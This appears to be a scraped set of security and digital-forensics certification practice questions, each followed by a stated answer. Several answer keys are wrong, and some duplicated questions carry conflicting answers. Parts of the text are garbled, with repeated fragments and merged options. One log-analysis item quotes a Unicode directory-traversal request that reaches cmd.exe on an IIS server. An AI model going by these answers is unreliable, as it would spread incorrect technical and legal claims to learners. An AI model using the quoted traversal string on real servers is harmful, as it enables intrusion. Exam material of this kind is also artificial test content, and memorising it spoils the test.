An organization is performing a vulnerability assessment for mitigating threats. James, a pen tester, scanned the organization by building an inventory of the protocols found on the organization's machines to detect which ports are attached to services such as an email server, a web server, or a database server. After identifying the services, he selected the vulnerabilities on each machine and started executing only the relevant tests. What is the type of vulnerability assessment solution that James employed in the above scenario? Service-based solutions Product-based solutions Tree-based assessment Inference-based assessment
Inference-based assessment
Wilson, a professional hacker, targets an organization for financial benefit and plans to compromise its systems by sending malicious emails. For this purpose, he uses a tool to track the emails of the target and extracts information such as sender identities, mail servers, sender IP addresses, and sender locations from different public sources. He also checks if an email address was leaked using the haveibeenpwned.com API. Which of the following tools is used by Wilson in the above scenario? Factiva ZoomInfo Netcraft Infoga
Infoga
Lance wants to place a honeypot on his network. Which of the following would be your recommendations? Use it on a system in an external DMZ in front of the firewall It doesn’t matter as all replies are faked Use a system that has a dynamic addressing on the network Use a system that is not directly interacing with the router
It doesn’t matter as all replies are faked
What is static executable file analysis? It is a process that consists of collecting information about and from an executable file by launching an executable file in a controlled and monitored environment It is a process that consists of collecting information about and from an executable file without actually launching an executable file in a controlled and monitored environment It is a process that consists of collecting information about and from an executable file without actually launching the file under any circumstances It is a process that consists of collecting information about and from an executable file by launching the file under any circumstances
It is a process that consists of collecting information about and from an executable file without actually launching an executable file in a controlled and monitored environment
What is the goal of forensic science? It is a disciple to deal with the legal processes Mitigate the effects of the information security breach To determine the evidential value of the crime scene and related evidence Save the good will of the investigating organization
To determine the evidential value of the crime scene and related evidence
When investigating a potential e-mail crime, what is your first step in the investigation? Write a report Recover the evidence Determine whether a crime was actually committed Trace the IP address to its origin
Trace the IP address to its origin
You are working for a large clothing manufacturer as a computer forensics investigator and are called in to investigate an unusual case of an employee possibly stealing clothing designs from the company and selling them under a different brand name for a different company. What you discover during the course of the investigation is that the clothing designs are actually original products of the employee and the company has no policy against an employee selling his own designs on his own time. The only thing that you can find that the employee is doing wrong is that his clothing design incorporates the same graphic symbol as that of the company with only the wording in the graphic being different.What area of the law is the employee violating? Copyright law Trademark law Brandmark law Printright law
Trademark law
You are the Network Admin, and you get a complaint that some of the websites are no longer accessible. You try to ping the servers and find them to be reachable. Then you type the IP address and then you try on the browser, and find it to be accessible. But they are not accessible when you try using the URL. What may be the problem? Traffic is Blocked on UDP Port 53 Traffic is Blocked on TCP Port 80 Traffic is Blocked on TCP Port 54 Traffic is Blocked on UDP Port 80
Traffic is Blocked on UDP Port 53
What layer of the OSI model do TCP and UDP utilize? Network Data Link Session6. Transport
Transport
What layer of the OSI model do TCP and UDP utilize? Transport Network Session Data Link
Transport
Terri works for a security consulting firm that is currently performing a penetration test on First National Bank in Tokyo. Terri's duties include bypassing firewalls and switches to gain access to the network. Terri sends an IP packet to one of the company's switches with ACK bit and the source address of her machine set. What is Terri trying to accomplish by sending this IP packet? Enable tunneling feature on the switch Trick the switch into thinking it already has a session with Terri's computer Crash the switch with aDoS attack since switches cannot send ACK bits Poison the switch's MAC address table by flooding it with ACK bits
Trick the switch into thinking it already has a session with Terri's computer
In this form of encryption algorithm, every individual block contains 64-bit data, and three keys are used, where each key consists of 56 bits. Which is this encryption algorithm? IDEA Triple Data Encryption Standard AES MD5 encryption algorithm
Triple Data Encryption Standard
Recovery of the deleted partition is the process by which the investigator evaluates and extracts the deleted partitions. False True
True
Volatile information can be easily modified or lost when the system is shut down or rebooted. It helps to determine a logical timeline of the security incident and the users who would be responsible. True False
True
Daryl, a computer forensics investigator, has just arrived at the house of an alleged computer hacker. Daryl takes pictures and tags all computer and peripheral equipment found in the house. Daryl packs all the items found in his van and takes them back to his lab for further examination. At his lab, Michael his assistant helps him with the investigation. Since Michael is still in training, Daryl supervises all of his work very carefully. Michael is not quite sure about the procedures to copy all the data off the computer and peripheral devices. How many data acquisition tools should Michael use when creating copies of the evidence for the investigation? Two Three Four One
Two
This form of encryption algorithm is a symmetric key block cipher that is characterized by a 128-bit block size, and its key size can be up to 256 bits. Which among the following is this encryption algorithm? HMAC encryption algorithm Twofish encryption algorithm IDEA Blowfish encryption algorithm
Twofish encryption algorithm
TCP/IP (Transmission Control Protocol/Internet Protocol) is a communication protocol used to connect different hosts in the Internet. It contains four layers, namely the network interface layer. Internet layer, transport layer, and application layer.Which of the following protocols works under the transport layer of TCP/IP? HTTP SNMP FTP UDP
UDP
Ethical hacker Jane Smith is attempting to perform an SQL injection attack. She wants to test the response time of a true or false response and wants to use a second command to determine whether the database will return true or false results for user IDs. Which two SQL injection types would give her the results she is looking for? Out of band and boolean-based Union-based and error-based Time-based and union-based Time-based and boolean-based
Union-based and error-based
Computer forensics report provides detailed information on complete computer forensics investigation process. It should explain how the incident occurred, provide technical details of the incident and should be clear to understand. Which of the following attributes of a forensics report can render it inadmissible in a court of law? It includes metadata about the incident It maintains a single document style throughout the text It is based on logical assumptions about the incident timeline It includes relevant extracts referred to In the report that support analysis or conclusions
It is based on logical assumptions about the incident timeline
Data compression involves encoding the data to take up less storage space and less bandwidth for transmission. It helps in saving cost and high data manipulation in many business applications. Which data compression technique maintains data integrity? Lossy compression Lossy video compression Lossless compression Speech encoding compression
Lossless compression
When investigating a wireless attack, what information can be obtained from the DHCP logs? MAC address of the attacker If any computers on the network are running in promiscuous mode IP traffic between the attacker and the victim The operating system of the attacker and victim computers The operating system of the attacker and victim? computers
MAC address of the attacker If any computers on the network are running in promiscuous mode
To preserve digital evidence, an investigator should ____________ Only store the original evidence item Make two copies of each evidence item using a single imaging tool Make a single copy of each evidence item using an approved imaging tool Make two copies of each evidence item using different imaging tools
Make two copies of each evidence item using different imaging tools
You are working as a computer forensics investigator for a corporation on a computer abuse case. You discover evidence that shows the subject of your investigation is also embezzling money from the company. The company CEO and the corporate legal counsel advise you to contact local law enforcement and provide them with the evidence that you have found. The law enforcement officer that responds requests that you put a network sniffer on your network and monitor all traffic to the subject computer. You inform the officer that you will not be able to comply with thatnetwork sniffer on your network and monitor all traffic to the subject? computer. You inform the officer that you will not be able to comply with that request because doing so would: Violate your contract Write information to the subject hard driveWrite information to the subject? hard drive Make you an agent of law enforcement Cause network congestion
Make you an agent of law enforcement
You are running known exploits against your network to test for possible vulnerabilities. To test the strength of your virus software, you load a test network to mimic your production network. Your software successfully blocks some simple macro and encrypted viruses. You decide to really test the software by using virus code where the code rewrites itself entirely and the signatures change from child to child, but the functionality stays the same. What type of virus is this that you are testing? Metamorphic Polymorphic Oligomorhic Transmorphic
Metamorphic
When investigating a computer forensics case where Microsoft Exchange and Blackberry Enterprise server are used, where would investigator need to search to find email sent from a Blackberry device? Microsoft Exchange server Blackberry desktop redirector RIM Messaging center Blackberry Enterprise server
Microsoft Exchange server
Billy, a computer forensics expert, has recovered a large number of DBX files during a forensic investigation of a laptop. Which of the following email clients can he use to analyze the DBX files? Eudora Microsoft Outlook Express Mozilla Thunderoird Microsoft Outlook
Microsoft Outlook Express
This organization maintains a database of hash signatures for known software National Software Reference Library American National standards Institute Institute of Electrical and Electronics Engineers International Standards Organization
National Software Reference Library
You have been called in to help with an investigation of an alleged network intrusion. After questioning the members of the company ITYou have been called in to help with an investigation of an alleged network intrusion. After questioning the members of the company? IT department, you search through the server log files to find any trace of the intrusion. After that you decide to telnet into one of the company routers to see if there is any evidence to be found. While connected to the router, you see some unusual activity and believe that the attackers are currently connected to that router. You start up an ethereal session to begin capturing traffic on the router that could be used in the investigation. At what layer of the OSI model are you monitoring while watching traffic to and from the router? Session Network Transport Data Link
Network
Which Intrusion Detection System is best applicable for large environments where critical assets on the network need extra scrutiny and is ideal for observing sensitive network segments? Honeypots Firewalls Network-based intrusion detection system (NIDS) Host-based intrusion detection system (HIDS)
Network-based intrusion detection system (NIDS)
While presenting his case to the court, Simon calls many witnesses to the stand to testify. Simon decides to call Hillary Taft, a lay witness, to the stand. Since Hillary is a lay witness, what field would she be considered an expert in? Legal issues Technical material related to forensics Judging the character of defendants/victims No particular field
No particular field
SIM is a removable component that contains essential information about the subscriber. It has both volatile and non-volatile memory. The file system of a SIM resides in_____________ memory. Non-volatile Volatile
Non-volatile
John wants to send Marie an email that includes sensitive information, and he does not trust the network that he is connected to. Marie gives him the idea of using PGP. What should John do to communicate correctly using this type of encryption? Use his own private key to encrypt the message. Use his own public key to encrypt the message. Use Marie's private key to encrypt the message. Use Marie's public key to encrypt the message.
Use Marie's public key to encrypt the message.
Volatile Memory is one of the leading problems for forensics. Worms such as code Red are memory resident and do not write themselves to the hard drive, if you turn the system off they disappear. In a lab environment, which of the following options would you suggest as the most appropriate to overcome the problem of capturing volatile memory? Create a Separate partition of several hundred megabytes and place the swap file there Use Vmware to be able to capture the data in memory and examine it Give the Operating System a minimal amount of memory, forcing it to use a swap file Use intrusion forensic techniques to study memory resident infections
Use Vmware to be able to capture the data in memory and examine it
Your company was hired by a small healthcare provider to perform a technical assessment on the network. What is the best approach for discovering vulnerabilities on a Windows-based computer? Use the built-in Windows Update tool Use a scan tool like Nessus Check MITRE.org for the latest list of CVE findings Create a disk image of a clean Windows installation
Use a scan tool like Nessus
You are working on a thesis for your doctorate degree in Computer Science. Your thesis is based on HTML, DHTML, and other web-based languages and how they have evolved over the years. You navigate to archive. org and view the HTML code of news.com. You then navigate to the current news.com website and copy over the source code. While searching through the code, you come across something abnormal: What have you found? CGI code Trojan.downloader Blind bug Web bug
Web bug
Richard, an attacker, targets an MNC. In this process, he uses a footprinting technique to gather as much information as possible. Using this technique, he gathers domain information such as the target domain name, contact details of its owner, expiry date, and creation date. With this information, he creates a map of the organization's network and misleads domain owners with social engineering to obtain internal details of its network. What type of footprinting technique is employed by Richard? VoIP footprinting Email footprinting Whois footprinting VPN footprinting
Whois footprinting
Why are Linux/Unix based computers better to use than Windows computers for idle scanning? Linux/Unix computers are easier to compromise Windows computers are constantly talking Linux/Unix computers are constantly talking Windows computers will not respond to idle scans
Windows computers are constantly talking
What type of equipment would a forensics investigator store in a Strong Hold bag? Backup tapes Hard drives PDAPDA Wireless cards
Wireless cards
Attacker Rony installed a rogue access point within an organization's perimeter and attempted to intrude into its internal network. Johnson, a security auditor, identified some unusual traffic in the internal network that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and tested for any weak and outdated security mechanisms that are open to attack. What is the type of vulnerability assessment performed by Johnson in the above scenario? Wireless network assessment Application assessment Host-based assessment Distributed assessment
Wireless network assessment
Which of the following log injection attacks uses white space padding to create unusual log entries? Timestamp injection attack HTML injection attack Word wrap abuse attack Terminal injection attack
Word wrap abuse attack
When performing a forensics analysis, what device is used to prevent the system from recording data on an evidence disk? Write-blocker Disk editor. Protocol analyzer Firewall
Write-blocker
During the course of a corporate investigation, you find that an employee is committing a federal crime. Can the employer file a criminal complain with the police? No, because the investigation was conducted without following standard police procedures Yes, and all evidence can be turned over to the police No, because the investigation was conducted without a warrant Yes, but only if you turn the evidence over to a district judge
Yes, and all evidence can be turned over to the police
Kimberly is studying to be an IT security analyst at a vocational school in her town. The school offers many different programming as well as networking languages. What networking protocol language should she learn that routers utilize? BPG ATM UDP OSPF
OSPF
Kevin, a professional hacker, wants to penetrate CyberTech Inc's network. He employed a technique, using which he encoded packets with Unicode characters. The company's IDS cannot recognize the packets, but the target web server can decode them. What is the technique used by Kevin to evade the IDS system? Session splicing Urgency flag Obfuscating
Obfuscating
What is the first step that needs to be carried out to investigate wireless attacks? Document the scene and maintain a chain of custody Detect the wireless connections Obtain a search warrant Identify wireless devices at crime scene
Obtain a search warrant
During an investigation, an employee was found to have deleted harassing emails that were sent to someone else. The company was using Microsoft Exchange and had message tracking enabled. Where could the investigator search to find the message tracking log file on the Exchange server? C:\Program Files\Exchsrvr\servername.log D:\Exchsrvr\Message Tracking\servername.log C:\Program Files\Microsoft Exchange\srvr\servername.log C:\Exchsrvr\Message Tracking\servername.log
C:\Program Files\Exchsrvr\servername.log
During an investigation, an employee was found to have deleted harassing emails that were sent tosomeone else. The company was using Microsoft Exchange and had message tracking enabled.Where could the investigator search to find the message tracking log file on the Exchange server? C:\Program Files\Microsoft Exchange\srvr\servername.log57. D:\Exchsrvr\Message Tracking\servername.log C:\Program Files\Exchsrvr\servername.log C:\Exchsrvr\Message Tracking\servername.log
C:\Program Files\Exchsrvr\servername.log
Windows Security Accounts Manager (SAM) is a registry file which stores passwords in a hashed format.SAM file in Windows is located at. C:\windows\system32\Boot\SAM C:\windows\system32\drivers\SAM C:\windows\system32\config\SAM C:\windows\system32\con\SAM
C:\windows\system32\config\SAM
Simon is a former employee of Trinitron XML Inc. He feels he was wrongly terminated and wants to hack into his former company's network. Since Simon remembers some of the server names, he attempts to run the axfr and ixfr commands using DIG. What is Simon trying to accomplish here? Perform DNS poisoning Send DOS commands to crash the DNS servers Enumerate all the users in the domain Perform a zone transfer
Perform a zone transfer
Paul is a computer forensics investigator working for Tyler & Company Consultants. Paul has been called upon to help investigate a computer hacking ring broken up by the local police. Paul begins to inventory the PCs found in the hackers?hideout. Paul then comes across a PDA left by them that is attached to a number of different peripheral devices. What is the first step that Paul must take with the PDA to ensure the integrity of the investigation? Photograph and document the peripheral devices Power off all devices if currently on Unplug all connected devices Place PDA, including all devices, in an antistatic bag
Photograph and document the peripheral devices
Sniffers that place NICs in promiscuous mode work at what layer of the OSI model? Network Data Link Transport Physical
Physical
Wireless access control attacks aim to penetrate a network by evading WLAN access control measures, such as AP MAC filters and Wi-Fi port access controls.Which of the following wireless access control attacks allows the attacker to set up a rogue access point outside the corporate perimeter, and then lure the employees of the organization to connect to it? Rogue access points War driving Client mis-association MAC spoofing
Client mis-association
The Apache server saves diagnostic information and error messages that it encounters while processing requests. The default path of this file is usr/local/apache/logs/error.log in Linux. Identify the Apache error log from the following logs. 127.0.0.1 --[10/Apr/2007:10:39:11 +0300] ] [error] "GET /apache_pb.gif HTTP/1.0' 200 2326 http://victim.com/scripts/..%c0%af./..%c0%af./..%c0%af./..%c0%af./..%c0%af./..%c0%af./.. %c0%af./..%c0%af./../winnt/system32/cmd.exe?/c+di r+c:\wintt\system32\Logfiles\W3SVC1 127.0.0.1 - frank [10/Oct/2000:13:55:36-0700] "GET /apache_pb.grf HTTP/1.0" 200 2326 [Wed Oct 11 14:32:52 2000] [error] [client 127.0.0.1] client denied by server configuration: /export/home/live/ap/htdocs/test
[Wed Oct 11 14:32:52 2000] [error] [client 127.0.0.1] client denied by server configuration: /export/home/live/ap/htdocs/test
A penetration tester is performing the footprinting process and is reviewing publicly available information about an organization by using the Google search engine. Which of the following advanced operators would allow the pen tester to restrict the search to the organization's web domain? [allinurl:] [location:] [site:] [link:]
[site:]
You are trying to locate Microsoft Outlook Web Access Default Portal using Google search on the Internet. What search string will you use to locate them? allinurl:"exchange/logon.asp" intitle:"exchange server" outlook:"search" locate:"logon page"
allinurl:"exchange/logon.asp"
(n) _____________________ is one thats performed by a computer program rather than the attacker manually performing the steps in the attack sequence. distributed attack central processing attack blackout attack automated attack
automated attack
In what way do the procedures for dealing with evidence in a criminal case differ from the procedures for dealing with evidence in a civil case? evidence procedures are not important unless you work for a law enforcement agency evidence in a criminal case must be secured more tightly than in a civil case evidence in a civil case must be secured more tightly than in a criminal case evidence must be handled in the same way regardless of the type of case
evidence in a criminal case must be secured more tightly than in a civil case
During the course of an investigation, you locate evidence that may prove the innocence of the suspect of the investigation. You must maintain an unbiased opinion and be objective in your entire fact finding process. Therefore you report this evidence. This type of evidence is known as: mandatory evidence Terrible evidence exculpatory evidence Inculpatory evidence
exculpatory evidence
You are conducting an investigation of fraudulent claims in an insurance company that involves complex text searches through large numbers of documents. Which of the following tools would allow you to quickly and efficiently search for a string within a file on the bitmap image of the target computer? grep vim dir Stringsearch
grep
What is the slave device connected to the secondary IDE controller on a Linux OS referred to? hdc hda hdb hdd
hdd
What does the superblock in Linux define? file synames available space location of the first inode disk geometr
location of the first inode
You are assigned to work in the computer forensics lab of a state police agency. While working on a high profile criminal case, you have followed every applicable procedure, however your boss is still concerned that the defense attorney might question whether evidence has been changed while at the lab. What can you do to prove that the evidence is the same as it was when it first entered the lab? there is no reason to worry about this possible claim because state labs are certified make an MD5 hash of the evidence and compare it with the original MD5 hash that was taken when the evidence first entered the lab make an MD5 hash of the evidence and compare it to the standard database developed by NIST sign a statement attesting that the evidence is the same as it was when it entered the lab
make an MD5 hash of the evidence and compare it with the original MD5 hash that was taken when the evidence first entered the lab
Netstat is a tool for collecting Information regarding network connections. It provides a simple view of TCP and UDP connections, and their state and network traffic statistics.Which of the following commands shows you the TCP and UDP network connections, listening ports, and the identifiers? netstat -b netstat -ano netstat -r netstat -s
netstat -ano
In a forensic examination of hard drives for digital evidence, what type of user is most likely to have the most file slack to analyze? one who uses dynamic swap file capability one who has NTFS 4 or 5 partitions one who uses hard disk writes on IRQ 13 and 21 Correct Answer one who has lots of allocation units per block or cluster
one who has lots of allocation units per block or cluster
When obtaining a warrant it is important to: particularly describe the place to be searched and particularly describe the items to be seized generally describe the place to be searched and generally describe the items to be seized particularly describe the place to be searched and generally describe the items to be seized generally describe the place to be searched and particularly describe the items to be seized
particularly describe the place to be searched and particularly describe the items to be seized
Office documents (Word, Excel, PowerPoint) contain a code that allows tracking the MAC, or unique identifier, of the machine that created the document. What is that code called? the Globally Unique ID the Personal Application Protocol the Individual ASCII String the Microsoft Virtual Machine Identifier
the Globally Unique ID
Area density refers to: the amount of data per square inch the amount of data per disk the amount of data per platter the amount of data per partition
the amount of data per disk
One technique for hiding information is to change the file extension from the correct one to one that might not be noticed by an investigator. For example, changing a .jpg extension to a .doc extension so that a picture file appears to be a document. What can an investigator examine to verify that a file has the correct extension? the sector map the File Allocation Table the file footer the file header
the file header
Why should you note all cable connections for a computer you want to seize as evidence? to know what outside connections existed to know what hardware existed in case other devices were connected to know what peripheral devices exist
to know what outside connections existed
The MD5 program is used to: view graphics files on an evidence drive make directories on a evidence disk verify that a disk is not altered when you examine it wipe magnetic media before recycling it
verify that a disk is not altered when you examine it
What is a chain of custody? Chain of custody refers to obtaining preemptive court order to restrict further damage of evidence in electronic seizures It Is a document that lists chain of windows process events It is a search warrant that is required for seizing evidence at a crime scene A legal document that demonstrates the progression of evidence as it travels from the original evidence location to the forensic laboratory
A legal document that demonstrates the progression of evidence as it travels from the original evidence location to the forensic laboratory
Windows Security Event Log contains records of login/logout activity or other security- related events specified by the system's audit policy. What does event ID 531 in Windows Security Event Log indicates? The logon attempt was made with an unknown user name or a known user name with a bad password A logon attempt was made using a disabled account A user successfully logged on to a computer An attempt was made to log on with the user account outside of the allowed time
A logon attempt was made using a disabled account
Study the log given below and answer the following question: Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169 Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482 Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53 Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21 Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 ->172.16.1.107:53 Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53 Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111 Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80 Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53 Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53 Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0) Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506) Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080 Apr 26 06:52:10 [6283]: IDS127/telnet login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558 Precautionary measures to prevent this attack would include writing firewall rules. Of these firewall rules, which among the following would be appropriate? Disallow TCP 53 in from secondaries or ISP server to DNS server Block all UDP traffic Disallow UDP 53 in from outside to DNS server Allow UDP 53 in from DNS server to outside
Disallow UDP 53 in from outside to DNS server
Jonathan is a network administrator who is currently testing the internal security of his network. He is attempting to hijack a session, using Ettercap, of a user connected to his Web server. Why will Jonathan not succeed? HTTP protocol does not maintain session Only DNS traffic can be hijacked Only an HTTPS session can be hijacked Only FTP traffic can be hijacked
HTTP protocol does not maintain session
You are working as Computer Forensics investigator and are called by the owner of an accounting firm to investigate possible computer abuse by one of the firms employees. You meet with the owner of the firm and discover that the company has never published a policy stating that they reserve the right to inspect their computing assets at will. What do you do? Inform the owner that conducting an investigation without a policy is a violation of the 4th amendment Inform the owner that conducting an investigation without a policy is a violation of the employees expectation of privacy Inform the owner that conducting an investigation without a policy is not a problem because the company is privately owned Inform the owner that conducting an investigation without a policy is not a problem because a policy is only necessary for government agencies
Inform the owner that conducting an investigation without a policy is a violation of the employees expectation of privacy
Click on the Exhibit Button Paulette works for an IT security consulting company that is currently performing an audit for the firm ACE Unlimited. Paulette's duties include logging on to all the company's network equipment to ensure IOS versions are up-to-date and all the other security settings are as stringent as possible. Paulette presents the following screenshot to her boss so he can inform the client about necessary changes need to be made. From the screenshot, what changes should the client company make? The banner should include the Cisco tech support contact information as well The banner should have more detail on the version numbers for the network Equipment Remove any identifying numbers, names, or version information The banner should not state "only authorized IT personnel may proceed"
Remove any identifying numbers, names, or version information
Madison is on trial for allegedly breaking into her university internal network. The police raided her dorm room and seized all of her computerMadison is on trial for allegedly breaking into her university? internal network. The police raided her dorm room and seized all of her computer equipment. Madison lawyer is trying to convince the judge that the seizure was unfounded and baseless. Under which US Amendment isequipment.Madison? lawyer is trying to convince the judge that the seizure was unfounded and baseless. Under which US Amendment is Madison lawyer trying to prove the police violated?Madison? lawyer trying to prove the police violated? The 1st Amendment The 4th Amendment The 5th Amendment The 10th Amendment
The 4th Amendment
Ron. a computer forensics expert, Is Investigating a case involving corporate espionage.He has recovered several mobile computing devices from the crime scene. One of the evidence that Ron possesses is a mobile phone from Nokia that was left in on condition.Ron needs to recover the IMEI number of the device to establish the identity of the device owner. Which of the following key combinations he can use to recover the IMEI number? *#06# #06r *1MEI# #*06*#
*#06#
The IIS log file format is a fixed (cannot be customized) ASCII text-based format. The IIS format includes basic items, such as client IP address, user name, date and time, service and instance, server name and IP address, request type, target of operation, etc. Identify the service status code from the following IIS log. 192.168.100.150, -, 03/6/11, 8:45:30, W3SVC2, SERVER, 172.15.10.30, 4210, 125, 3524,100, 0, GET, /dollerlogo.gif, 100 4210 3524 W3SVC2
100
Tracks numbering on a hard disk begins at 0 from the outer edge and moves towards the center, typically reaching a value of ___________. 1024 2023 1020 1023
1023
What is the target host IP in the following command? C:\> firewalk -F 80 10.10.150.1 172.16.28.95 -p UDP Firewalk does not scan target hosts This command is using FIN packets, which cannot scan target hosts 172.16.28.95 10.10.150.1
172.16.28.95
Under which Federal Statutes does FBI investigate for computer crimes involving e- mail scams and mail fraud? 18 U.S.C. 1030 Fraud and related activity in connection with computers 18 U.S.C. 1831 Economic Espionage Act 18 U.S.C. 1362 Government communication systems 18 U.S.C. 1343 Fraud by wire, radio or television 18 U.S.C. 1361 Injury to Government Property 18 U.S.C. 1029 Possession of Access Devices
18 U.S.C. 1030 Fraud and related activity in connection with computers
An Internet standard protocol (built on top of TCP/IP) that assures accurate synchronization to the millisecond of computer clock times in a network of computers. Which of the following statement is true for NTP Stratum Levels? Stratum-0 servers are used on the network; they are not directly connected to computers which then operate as stratum-1 servers Stratum-1 time server is linked over a network path to a reliable source of UTC time such as GPS, WWV, or CDMA transmissions A stratum-2 server is directly linked (not over a network path) to a reliable source of UTC time such as GPS, WWV, or CDMA transmissions A stratum-3 server gets its time over a network link, via NTP, from a stratum-2 server, and so on
A stratum-3 server gets its time over a network link, via NTP, from a stratum-2 server, and so on
Harold wants to set up a firewall on his network but is not sure which one would be the most appropriate. He knows he needs to allow FTP traffic to one of the servers on his network, but he wants to only allow FTP-PUT. Which firewall would be most appropriate for Harold? needs? Circuit-level proxy firewall Application-level proxy firewall Packet filtering firewall Data link layer firewall
Application-level proxy firewall
Identify the attack from following sequence of actions? Step 1: A user logs in to a trusted site and creates a new session ,Step 2: The trusted site stores a session identifier for the session in a cookie in the web browser, Step 3: The user is tricked to visit a malicious site,Step 4: the malicious site sends a request from the user's browser using his session cookie Hidden Field Manipulation Attack Cross-Site Scripting (XSS) Attacks Cross-Site Request Forgery (CSRF) Attack Web Application Denial-of-Service (DoS) Attack
Cross-Site Request Forgery (CSRF) Attack
When using an iPod and the host computer is running Windows, what file system will be used? iPod+ FAT16 HFS FAT32
FAT32
You are contracted to work as a computer forensics investigator for a regional bank that has four 30 TB storage area networks that store customer data. What method would be most efficient for you to acquire digital evidence from this network? Create a compressed copy of the file with DoubleSpace Create a sparse data copy of a folder or file Make a bit-stream disk-to-disk file Make a bit-stream disk-to-image file
Create a sparse data copy of a folder or file
John is working on his company policies and guidelines. The section he is currently working on covers company documents; how they shouldJohn is working on his company? policies and guidelines. The section he is currently working on covers company documents; how they should be handled, stored, and eventually destroyed. John is concerned about the process whereby outdated documents are destroyed. What type of shredder should John write in the guidelines to be used when destroying documents? Strip-cut shredder Cross-hatch shredder Cross-cut shredder Cris-cross shredder
Cross-cut shredder
A forensic investigator is a person who handles the complete Investigation process, that is, the preservation, identification, extraction, and documentation of the evidence. The investigator has many roles and responsibilities relating to the cybercrime analysis. The role of the forensic investigator is to: Harden organization network security Create an image backup of the original evidence without tampering with potential evidence Take permission from all employees of the organization for investigation Keep the evidence a highly confidential and hide the evidence from law enforcement agencies
Create an image backup of the original evidence without tampering with potential evidence
_________ is a set of extensions to DNS that provide the origin authentication of DNS data to DNS clients (resolvers) so as to reduce the threat of DNS poisoning, spoofing, and similar types of attacks. DNSSEC Resource records Resource transfer Zone transfer
DNSSEC
You are assisting in the investigation of a possible Web Server hack. The company who called you stated that customers reported to them that whenever they entered the web address of the company in their browser, what they received was a pornographic web site. The company checked the web server and nothing appears wrong. When you type in the IP address of the web site in your browser everything appears normal. What is the name of the attack that affects the DNS cache of the name resolution servers, resulting in those servers directing users to the wrong web site? HTTP redirect attack DNS Poisoning ARP Poisoning IP Spoofing
DNS Poisoning
John, a professional hacker, decided to use DNS to perform data exfiltration on a target network. In this process, he embedded malicious data into the DNS protocol packets that even DNSSEC cannot detect. Using this technique, John successfully injected malware to bypass a firewall and maintained communication with the victim machine and C&C server. What is the technique employed by John to bypass the firewall? DNSSEC zone walking DNS cache snooping DNS enumeration DNS tunneling method
DNS tunneling method
Jason has set up a honeypot environment by creating a DMZ that has no physical or logical access to his production network. In this honeypot, he has placed a server running Windows Active Directory. He has also placed a Web server in the DMZ that services a number of web pages that offer visitors a chance to download sensitive information by clicking on a button. A week later, Jason finds in his network logs how an intruder accessed the honeypot and downloaded sensitive information. Jason uses the logs to try and prosecute the intruder for stealing sensitive corporate information. Why will this not be viable? Entrapment Intruding into a DMZ is not illegal Intruding into a honeypot is not illegal Enticement
Entrapment
You are the security analyst working for a private company out of France. Your current assignment is to obtain credit card information from a Swiss bank owned by that company. After initial reconnaissance, you discover that the bank security defenses are very strong and would take too long to penetrate. You decide to get the information by monitoring the traffic between the bank and one of its subsidiaries in London. After monitoring some of the traffic, you see a lot of FTP packets traveling back and forth. You want to sniff the traffic and extract usernames and passwords. What tool could you use to get this information? Snort Ettercap RaidSniff Airsnort
Ettercap
What technique used by Encase makes it virtually impossible to tamper with evidence once it has beenacquired? Every byte of the file(s) is encrypted using three different methods Every byte of the file(s) is given an MD5 hash to match against a master file Every byte of the file(s) is given an MD5 hash to match against a master file Every byte of the file(s) is copied to three different hard drives
Every byte of the file(s) is given an MD5 hash to match against a master file
What technique used by Encase makes it virtually impossible to tamper with evidence once it has been acquired? Every byte of the file(s) is encrypted using three different methods Every byte of the file(s) is given an MD5 hash to match against a master file Every byte of the file(s) is verified using 32-bit CRC Every byte of the file(s) is copied to three different hard drives
Every byte of the file(s) is verified using 32-bit CRC
How do you define forensic computing? It is a methodology of guidelines that deals with the process of cyber investigation It is the science of capturing, processing, and investigating data security incidents and making it acceptable to a court of law. It is the administrative and legal proceeding in the process of forensic investigation It Is a preliminary and mandatory course necessary to pursue and understand fundamental principles of ethical hacking
It is the science of capturing, processing, and investigating data security incidents and making it acceptable to a court of law.
John, a professional hacker, targeted an organization that uses LDAP for accessing distributed directory services. He used an automated tool to anonymously query the LDAP service for sensitive information such as usernames, addresses, departmental details, and server names to launch further attacks on the target organization. What is the tool employed by John to gather information from the LDAP service? ike-scan Zabasearch JXplorer EarthExplorer
JXplorer
An on-site incident response team is called to investigate an alleged case of computer tampering within their company. Before proceeding with the investigation, the CEO informs them that the incident will be classified as ow level? How long will the team have to respond to the incident?the investigation, the CEO informs them that the incident will be classified as ?ow level? How long will the team have to respond to the incident? Four hours Immediately One working day Two working days
One working day
Michael works for Kimball Construction Company as senior security analyst. As part of yearly security audit, Michael scans his network for vulnerabilities. Using Nmap, Michael conducts XMAS scan and most of the ports scanned do not give a response. In what state are these ports? Filtered Closed Open Stealth
Open
SQL injection (SQLi) attacks attempt to inject SQL syntax into web requests, which may bypass authentication and allow attackers to access and/or modify data attached to a web application. Which of the following SQLi types leverages a database server's ability to make DNS requests to pass data to an attacker? In-band SQLi Union-based SQLi Out-of-band SQLi Time-based blind SQLi
Out-of-band SQLi
